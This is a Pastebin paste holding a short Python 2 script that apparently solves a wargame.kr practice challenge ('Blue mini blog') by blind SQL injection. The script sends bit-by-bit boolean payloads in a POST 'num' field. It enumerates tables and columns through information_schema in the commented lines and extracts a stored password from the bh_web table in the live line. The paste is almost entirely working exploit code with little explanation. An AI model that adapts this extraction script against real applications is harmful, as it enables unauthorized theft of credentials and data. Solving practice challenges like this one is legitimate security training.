hdarwin

wargame.kr_Blue mini blog

Mar 19th, 2013
176
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.17 KB | None | 0 0
  1. import urllib2, urllib
  2.  
  3. l = ['0']
  4. l2 = []
  5. for z in xrange(0,11):
  6.  for y in xrange(1,11):
  7.   for x in xrange(6,-1,-1):
  8.    #List table
  9.    #d = "num=(select if(ascii(substr((select table_name from information_schema.tables where table_schema != 0x696e666f726d6174696f6e5f736368656d61 limit "+str(z)+", 1),"+str(y)+",1))>>"+str(x)+"%261=1,1,0))"
  10.    #List column
  11.    #d = "num=(select if(ascii(substr((select column_name from information_schema.columns where table_name = 0x62685f776562 limit "+str(z)+", 1),"+str(y)+",1))>>"+str(x)+"%261=1,1,0))"
  12.    #data
  13.    d = "num=(select if(ascii(substr((select password from bh_web where num = 1 limit "+str(z)+", 1),"+str(y)+",1))>>"+str(x)+"%261=1,1,0))"
  14.    #d = "num=(select if(ascii(substr((select identify from bh_web limit "+str(z)+", 1),"+str(y)+",1))>>"+str(x)+"%261=1,1,0))"
  15.    #d = "num=(select if(ascii(substr((select num from bh_web limit "+str(z)+", 1),"+str(y)+",1))>>"+str(x)+"%261=1,1,0))"
  16.    r = urllib2.Request('http://wargame.kr:8080/prob/6/index.php?log=mvpage_ok', d);
  17.    if urllib2.urlopen(r).read().find("cheer_up~!!") == -1:l.append('0')
  18.    else: l.append('1')
  19.   l2.append(chr(int(''.join(l), 2)))
  20.   l = []
  21.  print l2
  22.  l2 = []
Advertisement
Add Comment
Please, Sign In to add comment